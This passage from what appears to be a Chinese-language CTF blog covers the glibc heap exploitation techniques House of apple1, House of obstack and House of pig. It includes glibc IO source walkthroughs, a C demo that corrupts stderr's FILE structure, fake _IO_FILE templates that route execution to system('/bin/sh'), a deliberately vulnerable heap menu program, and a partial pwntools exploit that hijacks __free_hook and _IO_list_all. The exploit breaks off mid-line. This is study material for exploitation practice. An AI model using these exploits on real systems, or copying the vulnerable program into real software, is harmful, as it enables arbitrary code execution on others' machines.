struct _IO_jump_t *vtable; }; typedef struct _IO_strfile_ { struct _IO_streambuf _sbf; struct _IO_str_fields _s; } _IO_strfile; typedef struct { _IO_strfile f; /* This is used for the characters which do not fit in the buffer provided by the user. */ char overflow_buf[64]; } _IO_strnfile; typedef struct { _IO_strfile f; /* This is used for the characters which do not fit in the buffer provided by the user. */ wchar_t overflow_buf[64]; // overflow_buf在这里******** } _IO_wstrnfile; 其中，overflow_buf 相对于_IO_FILE 结构体的偏移为 0xf0，在 vtable 后面。\n_IO_wstrn_overflow 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 static wint_t _IO_wstrn_overflow (FILE *fp, wint_t c) { /* When we come to here this means the user supplied buffer is filled. But since we must return the number of characters which would have been written in total we must provide a buffer for further use. We can do this by writing on and on in the overflow buffer in the _IO_wstrnfile structure. */ _IO_wstrnfile *snf = (_IO_wstrnfile *) fp; if (fp-\u0026gt;_wide_data-\u0026gt;_IO_buf_base != snf-\u0026gt;overflow_buf) { _IO_wsetb (fp, snf-\u0026gt;overflow_buf, snf-\u0026gt;overflow_buf + (sizeof (snf-\u0026gt;overflow_buf) / sizeof (wchar_t)), 0); fp-\u0026gt;_wide_data-\u0026gt;_IO_write_base = snf-\u0026gt;overflow_buf; fp-\u0026gt;_wide_data-\u0026gt;_IO_read_base = snf-\u0026gt;overflow_buf; fp-\u0026gt;_wide_data-\u0026gt;_IO_read_ptr = snf-\u0026gt;overflow_buf; fp-\u0026gt;_wide_data-\u0026gt;_IO_read_end = (snf-\u0026gt;overflow_buf + (sizeof (snf-\u0026gt;overflow_buf) / sizeof (wchar_t))); } fp-\u0026gt;_wide_data-\u0026gt;_IO_write_ptr = snf-\u0026gt;overflow_buf; fp-\u0026gt;_wide_data-\u0026gt;_IO_write_end = snf-\u0026gt;overflow_buf; /* Since we are not really interested in storing the characters which do not fit in the buffer we simply ignore it. */ return c; } 首先将fp转化为_IO_wstrnfile类型的指针，然后if 判断fp-\u0026gt;_wide_data-\u0026gt;_IO_buf_base != snf-\u0026gt;overflow_buf是否成立(不刻意改的话一般是成立的)，接着在执行_IO_wsetb函数之后对 fp-\u0026gt;_wide_data 的_IO_write_base、_IO_read_base、_IO_read_ptr 和_IO_read_end 赋值为 snf-\u0026gt;overflow_buf 或者与该地址一定范围内偏移的值；最后对 fp-\u0026gt;_wide_data 的_IO_write_ptr 和_IO_write_end 赋值。\n也就是说，如果我们控制了fp-\u0026gt;_wide_data，就可以控制从 fp-\u0026gt;_wide_data 开始一定范围内的内存的值，也就等同于任意地址写已知地址\n这里有时候需要绕过_IO_wsetb 函数里面的 free(不太懂，猜测可能使上面的if条件为假，待调试)\n_IO_wsetb 1 2 3 4 5 6 7 8 9 10 11 12 void _IO_wsetb (FILE *f, wchar_t *b, wchar_t *eb, int a) { if (f-\u0026gt;_wide_data-\u0026gt;_IO_buf_base \u0026amp;\u0026amp; !(f-\u0026gt;_flags2 \u0026amp; _IO_FLAGS2_USER_WBUF)) free (f-\u0026gt;_wide_data-\u0026gt;_IO_buf_base); // 其不为0的时候不要执行到这里 f-\u0026gt;_wide_data-\u0026gt;_IO_buf_base = b; f-\u0026gt;_wide_data-\u0026gt;_IO_buf_end = eb; if (a) f-\u0026gt;_flags2 \u0026amp;= ~_IO_FLAGS2_USER_WBUF; else f-\u0026gt;_flags2 |= _IO_FLAGS2_USER_WBUF; } 总结与模板 假如此时在堆上伪造一个 _IO_FILE 结构体并已知其地址为 A，\n将 A + 0xd8 替换为 _IO_wstrn_jumps 地址(vtable)\nA + 0xa0 设置为 B(_wide_data)\n并设置其他成员以便能调用到 _IO_OVERFLOW。(FSOP触发条件，mode=0,_IO_write_base=0,_IO_write_ptr=1)\nexit 函数则会一路调用到 _IO_wstrn_overflow 函数，\n并将 B 至 B + 0x38 的地址区域的内容都替换为 A + 0xf0 或者 A + 0x1f0。\ndemo 参考roderick师傅博客里的demo\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 #include\u0026lt;stdio.h\u0026gt; #include\u0026lt;stdlib.h\u0026gt; #include\u0026lt;stdint.h\u0026gt; #include\u0026lt;unistd.h\u0026gt; #include \u0026lt;string.h\u0026gt; void main() { setbuf(stdout, 0); setbuf(stdin, 0); setvbuf(stderr, 0, 2, 0); puts(\u0026#34;[*] allocate a 0x100 chunk\u0026#34;); size_t *p1 = malloc(0xf0); size_t *tmp = p1; size_t old_value = 0x1122334455667788; for (size_t i = 0; i \u0026lt; 0x100 / 8; i++) { p1[i] = old_value; } puts(\u0026#34;===========================old value=======================\u0026#34;); for (size_t i = 0; i \u0026lt; 4; i++) { printf(\u0026#34;[%p]: 0x%016lx 0x%016lx\\n\u0026#34;, tmp, tmp[0], tmp[1]); tmp += 2; } puts(\u0026#34;===========================old value=======================\u0026#34;); size_t puts_addr = (size_t)\u0026amp;puts; printf(\u0026#34;[*] puts address: %p\\n\u0026#34;, (void *)puts_addr); size_t stderr_write_ptr_addr = puts_addr + 0x1997b8; printf(\u0026#34;[*] stderr-\u0026gt;_IO_write_ptr address: %p\\n\u0026#34;, (void *)stderr_write_ptr_addr); size_t stderr_flags2_addr = puts_addr + 0x199804; printf(\u0026#34;[*] stderr-\u0026gt;_flags2 address: %p\\n\u0026#34;, (void *)stderr_flags2_addr); size_t stderr_wide_data_addr = puts_addr + 0x199830; printf(\u0026#34;[*] stderr-\u0026gt;_wide_data address: %p\\n\u0026#34;, (void *)stderr_wide_data_addr); size_t sdterr_vtable_addr = puts_addr + 0x199868; printf(\u0026#34;[*] stderr-\u0026gt;vtable address: %p\\n\u0026#34;, (void *)sdterr_vtable_addr); size_t _IO_wstrn_jumps_addr = puts_addr + 0x194ed0; printf(\u0026#34;[*] _IO_wstrn_jumps address: %p\\n\u0026#34;, (void *)_IO_wstrn_jumps_addr); puts(\u0026#34;[+] step 1: change stderr-\u0026gt;_IO_write_ptr to -1\u0026#34;); *(size_t *)stderr_write_ptr_addr = (size_t)-1; puts(\u0026#34;[+] step 2: change stderr-\u0026gt;_flags2 to 8\u0026#34;); *(size_t *)stderr_flags2_addr = 8; puts(\u0026#34;[+] step 3: replace stderr-\u0026gt;_wide_data with the allocated chunk\u0026#34;); *(size_t *)stderr_wide_data_addr = (size_t)p1; puts(\u0026#34;[+] step 4: replace stderr-\u0026gt;vtable with _IO_wstrn_jumps\u0026#34;); *(size_t *)sdterr_vtable_addr = (size_t)_IO_wstrn_jumps_addr; puts(\u0026#34;[+] step 5: call fcloseall and trigger house of apple\u0026#34;); fcloseall(); tmp = p1; puts(\u0026#34;===========================new value=======================\u0026#34;); for (size_t i = 0; i \u0026lt; 4; i++) { printf(\u0026#34;[%p]: 0x%016lx 0x%016lx\\n\u0026#34;, tmp, tmp[0], tmp[1]); tmp += 2; } puts(\u0026#34;===========================new value=======================\u0026#34;); } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 [*] allocate a 0x100 chunk ===========================old value======================= [0x5555555592a0]: 0x1122334455667788 0x1122334455667788 [0x5555555592b0]: 0x1122334455667788 0x1122334455667788 [0x5555555592c0]: 0x1122334455667788 0x1122334455667788 [0x5555555592d0]: 0x1122334455667788 0x1122334455667788 ===========================old value======================= [*] puts address: 0x7ffff7c80e50 [*] stderr-\u0026gt;_IO_write_ptr address: 0x7ffff7e1a608 [*] stderr-\u0026gt;_flags2 address: 0x7ffff7e1a654 [*] stderr-\u0026gt;_wide_data address: 0x7ffff7e1a680 [*] stderr-\u0026gt;vtable address: 0x7ffff7e1a6b8 [*] _IO_wstrn_jumps address: 0x7ffff7e15d20 [+] step 1: change stderr-\u0026gt;_IO_write_ptr to -1 [+] step 2: change stderr-\u0026gt;_flags2 to 8 [+] step 3: replace stderr-\u0026gt;_wide_data with the allocated chunk [+] step 4: replace stderr-\u0026gt;vtable with _IO_wstrn_jumps [+] step 5: call fcloseall and trigger house of apple ===========================new value======================= [0x5555555592a0]: 0x1122334455667788 0x1122334455667788 [0x5555555592b0]: 0x1122334455667788 0x1122334455667788 [0x5555555592c0]: 0x1122334455667788 0x1122334455667788 [0x5555555592d0]: 0x1122334455667788 0x1122334455667788 ===========================new value======================= [1] + Done \u0026#34;/usr/bin/gdb\u0026#34; --interpreter=mi --tty=${DbgTerm} 0\u0026lt;\u0026#34;/tmp/Microsoft-MIEngine-In-jyiy1etx.ud3\u0026#34; 1\u0026gt;\u0026#34;/tmp/Microsoft-MIEngine-Out-dshtnhbc.kk1\u0026#34; ","date":"2026-04-06T15:16:28+08:00","image":"http://localhost:1313/image/House_of_apple1.jpg","permalink":"http://localhost:1313/p/house-of-apple1/","title":"House of apple1"},{"content":"参考了 7resp4ss 师傅的文章\nhttps://tttang.com/archive/1845/#toc__io_obstack_overflow\n介绍 范围：2.37之前，因为2.37之后把obstack结构体给删了\n条件 ：能够泄露libc和heap，一次largebin attack,能触发IO流\n通过largebin attack劫持_IO_list_all到堆地址，伪造_IO_file触发_IO_obsatck_overflow\n源码分析 obstack结构体如下 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 struct obstack /* control current object in current chunk */ { long chunk_size; /* preferred size to allocate chunks in */ struct _obstack_chunk *chunk; /* address of current struct obstack_chunk */ char *object_base; /* address of object we are building */ char *next_free; /* where to add next char to current object */ char *chunk_limit; /* address of char after current chunk */ union { PTR_INT_TYPE tempint; void *tempptr; } temp; /* Temporary for some macros. */ int alignment_mask; /* Mask of alignment for each object. */ /* These prototypes vary based on \u0026#39;use_extra_arg\u0026#39;, and we use casts to the prototypeless function type in all assignments, but having prototypes here quiets -Wstrict-prototypes. */ struct _obstack_chunk *(*chunkfun) (void *, long); void (*freefun) (void *, struct _obstack_chunk *); void *extra_arg; /* first arg for chunk alloc/dealloc funcs */ unsigned use_extra_arg : 1; /* chunk alloc/dealloc funcs take extra arg */ unsigned maybe_empty_object : 1; /* There is a possibility that the current chunk contains a zero-length object. This prevents freeing the chunk if we allocate a bigger chunk to replace it. */ unsigned alloc_failed : 1; /* No longer used, as we now call the failed handler on error, but retained for binary compatibility. */ }; _IO_obstack_file结构体 1 2 3 4 5 struct _IO_obstack_file { struct _IO_FILE_plus file; struct obstack *obstack; }; 就是给_IO_FILE_plus结构图追加了一个obstack结构体类型的指针\n_IO_obstack_jumps 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 const struct _IO_jump_t _IO_obstack_jumps libio_vtable attribute_hidden = { JUMP_INIT_DUMMY, JUMP_INIT(finish, NULL), JUMP_INIT(overflow, _IO_obstack_overflow), JUMP_INIT(underflow, NULL), JUMP_INIT(uflow, NULL), JUMP_INIT(pbackfail, NULL), JUMP_INIT(xsputn, _IO_obstack_xsputn), JUMP_INIT(xsgetn, NULL), JUMP_INIT(seekoff, NULL), JUMP_INIT(seekpos, NULL), JUMP_INIT(setbuf, NULL), JUMP_INIT(sync, NULL), JUMP_INIT(doallocate, NULL), JUMP_INIT(read, NULL), JUMP_INIT(write, NULL), JUMP_INIT(seek, NULL), JUMP_INIT(close, NULL), JUMP_INIT(stat, NULL), JUMP_INIT(showmanyc, NULL), JUMP_INIT(imbue, NULL) }; 该vtable内只存在两个函数，分别为_IO_obstack_overflow、_IO_obstack_xsputn\n_IO_obstack_overflow 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 static int _IO_obstack_overflow (_IO_FILE *fp, int c) { struct obstack *obstack = ((struct _IO_obstack_file *) fp)-\u0026gt;obstack; int size; /* Make room for another character. This might as well allocate a new chunk a memory and moves the old contents over. */ assert (c != EOF); //关注这里 obstack_1grow (obstack, c); /* Setup the buffer pointers again. */ fp-\u0026gt;_IO_write_base = obstack_base (obstack); fp-\u0026gt;_IO_write_ptr = obstack_next_free (obstack); size = obstack_room (obstack); fp-\u0026gt;_IO_write_end = fp-\u0026gt;_IO_write_ptr + size; /* Now allocate the rest of the current chunk. */ obstack_blank_fast (obstack, size); return c; } 可以看到，第二个参数要为0，才能正常执行该函数。而_IO_flush_all_lockp进行调用vtable时，rsi往往是0xffffffff,所以我们看另一个函数\n_IO_obstack_xsputn 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 static _IO_size_t _IO_obstack_xsputn (_IO_FILE *fp, const void *data, _IO_size_t n) { struct obstack *obstack = ((struct _IO_obstack_file *) fp)-\u0026gt;obstack; if (fp-\u0026gt;_IO_write_ptr + n \u0026gt; fp-\u0026gt;_IO_write_end) { int size; /* We need some more memory. First shrink the buffer to the space we really currently need. */ obstack_blank_fast (obstack, fp-\u0026gt;_IO_write_ptr - fp-\u0026gt;_IO_write_end); /* Now grow for N bytes, and put the data there. */ obstack_grow (obstack, data, n); [...] } 首先获得_IO_obstack_file结构体中的obstack结构体指针作为后面函数运行的参数。然后要绕过fp-\u0026gt;_IO_write_ptr + n \u0026gt; fp-\u0026gt;_IO_write_end，执行obstack_blank_fast(obstack, fp-\u0026gt;_IO_write_ptr - fp-\u0026gt;_IO_write_end);，而obstack_blank_fast是个宏定义,源码如下：\nobstack_blank_fast\u0026amp;\u0026amp;obstack_grow 1 #define obstack_blank_fast(h, n) ((h)-\u0026gt;next_free += (n)) 这对于我们没什么用，然后会执行obstack_grow (obstack, data, n);这个函数，obstack_grow宏定义如下\n1 2 3 4 5 6 7 8 9 #define obstack_grow(OBSTACK, where, length) \\ __extension__ \\ ({ struct obstack *__o = (OBSTACK); \\ int __len = (length); \\ if (_o-\u0026gt;next_free + __len \u0026gt; __o-\u0026gt;chunk_limit) \\ _obstack_newchunk (__o, __len); \\ memcpy (__o-\u0026gt;next_free, where, __len); \\ __o-\u0026gt;next_free += __len; \\ (void) 0; }) 可以看到，当_o-\u0026gt;next_free + __len \u0026gt; __o-\u0026gt;chunk_limit\n时，调用_obstack_newchunk，_obstack_newchunk函数源码如下：、\n_obstack_newchunk 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 void _obstack_newchunk (struct obstack *h, int length) { struct _obstack_chunk *old_chunk = h-\u0026gt;chunk; struct _obstack_chunk *new_chunk; long new_size; long obj_size = h-\u0026gt;next_free - h-\u0026gt;object_base; long i; long already; char *object_base; /* Compute size for new chunk. */ new_size = (obj_size + length) + (obj_size \u0026gt;\u0026gt; 3) + h-\u0026gt;alignment_mask + 100; if (new_size \u0026lt; h-\u0026gt;chunk_size) new_size = h-\u0026gt;chunk_size; /* Allocate and initialize the new chunk. */ new_chunk = CALL_CHUNKFUN (h, new_size); [...] } 调用了new_chunk = CALL_CHUNKFUN (h, new_size); CALL_CHUNKFUN是个宏定义，CALL_CHUNKFUN源码如下：\nCALL_CHUNKFUN 1 2 3 4 # define CALL_CHUNKFUN(h, size) \\ (((h)-\u0026gt;use_extra_arg) \\ ? (*(h)-\u0026gt;chunkfun)((h)-\u0026gt;extra_arg, (size)) \\ : (*(struct _obstack_chunk *(*)(long))(h)-\u0026gt;chunkfun)((size))) 可以看到当((h)-\u0026gt;use_extra_arg不为0时，调用(*(h)-\u0026gt;chunkfun)((h)-\u0026gt;extra_arg, (size))\n从调用_IO_obstack_xsputn开始分析，假设满足上述所有需要绕过的条件，得以下调用链：\n1 2 3 4 5 _IO_obstack_xsputn obstack_grow _obstack_newchunk CALL_CHUNKFUN(一个宏定义) (*(h)-\u0026gt;chunkfun)((h)-\u0026gt;extra_arg, (size)) 如果通过FSOP触发的话，我们需要劫持vtable到_IO_obstack_jumps+0x20，由于overflow函数的偏移为0x18,xsputn偏移为0x38,所以执行_IO_flush_all_lockp 时，会执行到_IO_obstack_xsputn，假设通过exit进行FSOP，得到以下调用链。\n1 2 3 4 5 6 7 8 9 10 exit __run_exit_handlers fcloseall _IO_cleanup _IO_flush_all_lockp _IO_obstack_xsputn obstack_grow _obstack_newchunk CALL_CHUNKFUN(一个宏定义) (*(h)-\u0026gt;chunkfun)((h)-\u0026gt;extra_arg, (size)) 模板 当满足以下条件的时候可以实现攻击：利用largebin attack伪造_IO_FILE，记完成伪造的chunk为A\nchunk A内偏移为0xd8处设为_IO_obstack_jumps+0x20 (vtable) chunk A内偏移为0xe0处设置chunk A的地址作为obstack结构体 (obstack) chunk A内偏移为0x18处设为1 (next_free) chunk A内偏移为0x20处设为0 (chunk_limit) chunk A内偏移为0x48处设为\u0026amp;/bin/sh (extra_arg) chunk A内偏移为0x38处设为system函数的地址 (chunkfun) chunk A内偏移为0x28处设为1 (_IO_write_ptr) chunk A内偏移为0x30处设为0 (_IO_write_end) chunk A内偏移为0x50处设为1 (use_extra_arg) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 fake_file = flat( { #0x0: b\u0026#34;/bin/sh\u0026#34;, 0xc8: libcbase +libc.sym[\u0026#39;_IO_obstack_jumps\u0026#39;]+0x20, 0xd0: fake_file_addr, 0x8: 1, 0x10: 0, 0x38: binsh, 0x28: libcbase + libc.sym[\u0026#34;system\u0026#34;], 0x18: 1, 0x20: 0, 0x40: 1, }, filler=b\u0026#39;\\x00\u0026#39;, ) ","date":"2026-03-17T22:53:28+08:00","image":"http://localhost:1313/image/House_of_obstack.jpg","permalink":"http://localhost:1313/p/house-of-obstack/","title":"House of obstack"},{"content":"https://blog.csdn.net/lplum_/article/details/158356557\nhttps://blog.csdn.net/Mr_Fmnwon/article/details/146243889\n介绍 House of pig是利用largebin attack和tcache stashing unlink attack劫持IO_file的一种方式，将vtable劫持到_IO_str_jumps，利用高版本(2.30以上)_IO_str_overflow调用的malloc,memcpy,free三个函数的特性修改任意地址\n在2.31到2.34中通常\n1.largrbin attack修改fake_chunk的bk(为之后tcache stash 做准准备)\n2.largebin attack 劫持_IO_list_all到堆地址\n3.tcache stashing unlink attack伪造free_hook附近的地址为fake_chunk\n4伪造_IO_FILE，用overflow触发\n如果我们进行合适的伪造，_IO_str_overflow中malloc会把申请会我们的fake_chunk(一般free_hook-0先0),memcpy将free_hook修改为system,\n最后free执行system(\u0026rsquo;/bin/sh')\n源码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 const struct _IO_jump_t _IO_str_jumps libio_vtable = { JUMP_INIT_DUMMY, JUMP_INIT(finish, _IO_str_finish), JUMP_INIT(overflow, _IO_str_overflow), JUMP_INIT(underflow, _IO_str_underflow), JUMP_INIT(uflow, _IO_default_uflow), JUMP_INIT(pbackfail, _IO_str_pbackfail), JUMP_INIT(xsputn, _IO_default_xsputn), JUMP_INIT(xsgetn, _IO_default_xsgetn), JUMP_INIT(seekoff, _IO_str_seekoff), JUMP_INIT(seekpos, _IO_default_seekpos), JUMP_INIT(setbuf, _IO_default_setbuf), JUMP_INIT(sync, _IO_default_sync), JUMP_INIT(doallocate, _IO_default_doallocate), JUMP_INIT(read, _IO_default_read), JUMP_INIT(write, _IO_default_write), JUMP_INIT(seek, _IO_default_seek), JUMP_INIT(close, _IO_default_close), JUMP_INIT(stat, _IO_default_stat), JUMP_INIT(showmanyc, _IO_default_showmanyc), JUMP_INIT(imbue, _IO_default_imbue) }; int _IO_str_overflow (FILE *fp, int c) { int flush_only = c == EOF; size_t pos; if (fp-\u0026gt;_flags \u0026amp; _IO_NO_WRITES) return flush_only ? 0 : EOF; if ((fp-\u0026gt;_flags \u0026amp; _IO_TIED_PUT_GET) \u0026amp;\u0026amp; !(fp-\u0026gt;_flags \u0026amp; _IO_CURRENTLY_PUTTING)) { fp-\u0026gt;_flags |= _IO_CURRENTLY_PUTTING; fp-\u0026gt;_IO_write_ptr = fp-\u0026gt;_IO_read_ptr; fp-\u0026gt;_IO_read_ptr = fp-\u0026gt;_IO_read_end; } pos = fp-\u0026gt;_IO_write_ptr - fp-\u0026gt;_IO_write_base; if (pos \u0026gt;= (size_t) (_IO_blen (fp) + flush_only)) { if (fp-\u0026gt;_flags \u0026amp; _IO_USER_BUF) /* not allowed to enlarge */ return EOF; else { char *new_buf; char *old_buf = fp-\u0026gt;_IO_buf_base; size_t old_blen = _IO_blen (fp); //扩展到：((fp)-\u0026gt;_IO_buf_end - (fp)-\u0026gt;_IO_buf_base) size_t new_size = 2 * old_blen + 100; if (new_size \u0026lt; old_blen) return EOF; new_buf = malloc (new_size); // malloc(2 * ((fp)-\u0026gt;_IO_buf_end - (fp)-\u0026gt;_IO_buf_base) + 100) if (new_buf == NULL) { /*\t__ferror(fp) = 1; */ return EOF; } if (old_buf) { memcpy (new_buf, old_buf, old_blen); // old_buf 内容复制到 new_buf 中 free (old_buf); // free /* Make sure _IO_setb won\u0026#39;t try to delete _IO_buf_base. */ fp-\u0026gt;_IO_buf_base = NULL; } memset (new_buf + old_blen, \u0026#39;\\0\u0026#39;, new_size - old_blen); _IO_setb (fp, new_buf, new_buf + new_size, 1); fp-\u0026gt;_IO_read_base = new_buf + (fp-\u0026gt;_IO_read_base - old_buf); fp-\u0026gt;_IO_read_ptr = new_buf + (fp-\u0026gt;_IO_read_ptr - old_buf); fp-\u0026gt;_IO_read_end = new_buf + (fp-\u0026gt;_IO_read_end - old_buf); fp-\u0026gt;_IO_write_ptr = new_buf + (fp-\u0026gt;_IO_write_ptr - old_buf); fp-\u0026gt;_IO_write_base = new_buf; fp-\u0026gt;_IO_write_end = fp-\u0026gt;_IO_buf_end; } } if (!flush_only) *fp-\u0026gt;_IO_write_ptr++ = (unsigned char) c; if (fp-\u0026gt;_IO_write_ptr \u0026gt; fp-\u0026gt;_IO_read_end) fp-\u0026gt;_IO_read_end = fp-\u0026gt;_IO_write_ptr; return c; } libc_hidden_def (_IO_str_overflow) 从函数中就能看到，利用流程如下：\n伪造 IO_FILE 的_IO_buf_base\n合理控制_IO_buf_end-_IO_buf_base 的值，进而控制分配的 chunk 的大小，分配到布局好的地址\n满足FSOP条件\nfake_file构造如下\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 fake_file_addr = heap_base + 0x6d0 fake_file = b\u0026#39;\u0026#39; fake_file += p64(0) # _IO_read_end fake_file += p64(0) # _IO_read_base fake_file += p64(0) # _IO_write_base fake_file += p64(libc.sym[\u0026#39;system\u0026#39;]) # _IO_write_ptr\u0026gt;_IO_write_base fake_file += p64(0) # _IO_write_end fake_file += p64(fake_file_addr + 0xe0) # _IO_buf_base; fake_file += p64(fake_file_addr + 0xe0+((0x108-100)//2)) # _IO_buf_end should usually be (_IO_buf_base + 1) fake_file += p64(0) * 4 # from _IO_save_base to _markers fake_file += p64(libc.sym[\u0026#39;_IO_2_1_stdout_\u0026#39;]) # the FILE chain ptr fake_file += p32(2) # _fileno for stderr is 2 fake_file += p32(0) # _flags2, usually 0 fake_file += p64(0xFFFFFFFFFFFFFFFF) # _old_offset, -1 fake_file += p16(0) # _cur_column fake_file += b\u0026#34;\\x00\u0026#34; # _vtable_offset fake_file += b\u0026#34;\\n\u0026#34; # _shortbuf[1] fake_file += p32(0) # padding fake_file += p64(libc.sym[\u0026#39;_IO_2_1_stdout_\u0026#39;] + 0x1ea0) # _IO_stdfile_1_lock fake_file += p64(0xFFFFFFFFFFFFFFFF) # _offset, -1 fake_file += p64(0) # _codecvt, usually 0 fake_file += p64(libc.sym[\u0026#39;_IO_2_1_stdout_\u0026#39;] - 0x160) # _IO_wide_data_1 fake_file += p64(0) * 3 # from _freeres_list to __pad5 fake_file += p32(0xFFFFFFFF) # _mode, usually -1 fake_file += b\u0026#34;\\x00\u0026#34; * 19 # _unused2 fake_file = fake_file.ljust(0xD8-0x10, b\u0026#39;\\x00\u0026#39;) # adjust to vtable fake_file += p64(IO_str_jumps) # fake vtable fake_file += b\u0026#39;/bin/sh\\x00\u0026#39; fake_file += p64(0) fake_file += p64(libc.sym[\u0026#39;system\u0026#39;]) edit(2,fake_file) demo 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 #include\u0026lt;stdlib.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; #include \u0026lt;string.h\u0026gt; char *chunk_list[0x100]; #define puts(str) write(1, str, strlen(str)), write(1, \u0026#34;\\n\u0026#34;, 1) void menu() { puts(\u0026#34;1. add chunk\u0026#34;); puts(\u0026#34;2. delete chunk\u0026#34;); puts(\u0026#34;3. edit chunk\u0026#34;); puts(\u0026#34;4. show chunk\u0026#34;); puts(\u0026#34;5. exit\u0026#34;); puts(\u0026#34;choice:\u0026#34;); } int get_num() { char buf[0x10]; read(0, buf, sizeof(buf)); return atoi(buf); } void add_chunk() { puts(\u0026#34;index:\u0026#34;); int index = get_num(); puts(\u0026#34;size:\u0026#34;); int size = get_num(); chunk_list[index] = calloc(1, size); } void delete_chunk() { puts(\u0026#34;index:\u0026#34;); int index = get_num(); free(chunk_list[index]); } void edit_chunk() { puts(\u0026#34;index:\u0026#34;); int index = get_num(); puts(\u0026#34;length:\u0026#34;); int length = get_num(); puts(\u0026#34;content:\u0026#34;); read(0, chunk_list[index], length); } void show_chunk() { puts(\u0026#34;index:\u0026#34;); int index = get_num(); puts(chunk_list[index]); } int main() { setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); while (1) { menu(); int choice = get_num(); switch (choice) { case 1: add_chunk(); break; case 2: delete_chunk(); break; case 3: edit_chunk(); break; case 4: show_chunk(); break; case 5: exit(0); default: puts(\u0026#34;invalid choice.\u0026#34;); } } } exp\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 from pwn import * p=process(\u0026#39;./pig\u0026#39;) context.log_level=\u0026#39;debug\u0026#39; context.arch=\u0026#39;amd64\u0026#39; libc=ELF(\u0026#39;libc-2.31.so.debug\u0026#39;) #libc=ELF(\u0026#39;/home/fuguang/glibc-all-in-one/libs/2.31-0ubuntu9.18_amd64/libc.so.6\u0026#39;) def menu(idx): p.sendlineafter(b\u0026#39;choice\u0026#39;,str(idx)) def add(idx,size): menu(1) p.sendlineafter(b\u0026#39;index\u0026#39;,str(idx)) p.sendlineafter(b\u0026#39;size\u0026#39;,str(size)) def dele(idx): menu(2) p.sendlineafter(b\u0026#39;index\u0026#39;,str(idx)) def edit(idx,content): menu(3) p.sendlineafter(b\u0026#39;index\u0026#39;,str(idx)) p.sendlineafter(b\u0026#39;length\u0026#39;,str(len(content))) p.sendafter(b\u0026#39;content\u0026#39;,content) def show(idx): menu(4) p.sendlineafter(b\u0026#39;index\u0026#39;,str(idx)) add(0,0x418) add(1,0x18) add(2,0x428) add(3,0x18) dele(2) dele(0) show(2) p.recv(2) libcbase=u64(p.recv(6).ljust(8,b\u0026#39;\\x00\u0026#39;))-0x1ecbe0 print(hex(libcbase)) show(0) p.recv(2) heapbase=u64(p.recv(6).ljust(8,b\u0026#39;\\x00\u0026#39;))-0x6d0 print(hex(heapbase)) # #接下来申请freehook-0x20为fakechunk # #需要fakechunk-\u0026gt;bk是可写地址 # #用largebinattack改freehook,将fwd-\u0026gt;bk_next_size改为freehook-0x28 free_hook=libcbase+libc.sym[\u0026#39;__free_hook\u0026#39;] main_area=libcbase+0x1ecfd0 add(0,0x418) edit(2,p64(main_area)*2+p64(0)+p64(free_hook-0x28)) dele(0) #gdb.attach(p,\u0026#39;b *$rebase(0x143A)\u0026#39;) add(0,0x408) print(hex(free_hook)) io_list_all=libcbase+libc.sym[\u0026#39;_IO_list_all\u0026#39;] edit(2,p64(main_area)*2+p64(0)+p64(io_list_all-0x20)) dele(0) add(0,0x408) edit(2,p64(main_area)*2+p64(heapbase+0x6d0)*2) add(2,0x428)#6d0 print(hex(io_list_all)) for i in range(10,15): add(i,0x100) for i in range(10,15): dele(i) add(20,0x410) add(21,0x18) add(22,0x410) add(23,0x18) dele(20) dele(22) add(20,0x300) add(22,0x300) add(24,0x418) print(hex(libcbase)) IO_str_jumps=libcbase+libc.sym[\u0026#39;_IO_str_jumps\u0026#39;] main_arena2=libcbase+0x1ecce0 edit(22,b\u0026#39;\\x00\u0026#39;*0x300+p64(0)+p64(0x111)+p64(heapbase+0x17c0)+p64(free_hook-0x20)) #gdb.attach(p,\u0026#39;b _int_malloc\\nc\u0026#39;) add(25,0x100) #gdb.attach(p) fake_file_addr = heapbase + 0x6d0 fake_file = b\u0026#39;\u0026#39; fake_file += p64(0) # _IO_read_end fake_file += p64(0) # _IO_read_base fake_file += p64(0) # _IO_write_base fake_file += p64(libcbase+libc.sym[\u0026#39;system\u0026#39;]) # _IO_write_ptr fake_file += p64(0) # _IO_write_end fake_file += p64(fake_file_addr + 0xe0) # _IO_buf_base; fake_file += p64(fake_file_addr + 0xe0+((0x108-100)//2)) # _IO_buf_end should usually be 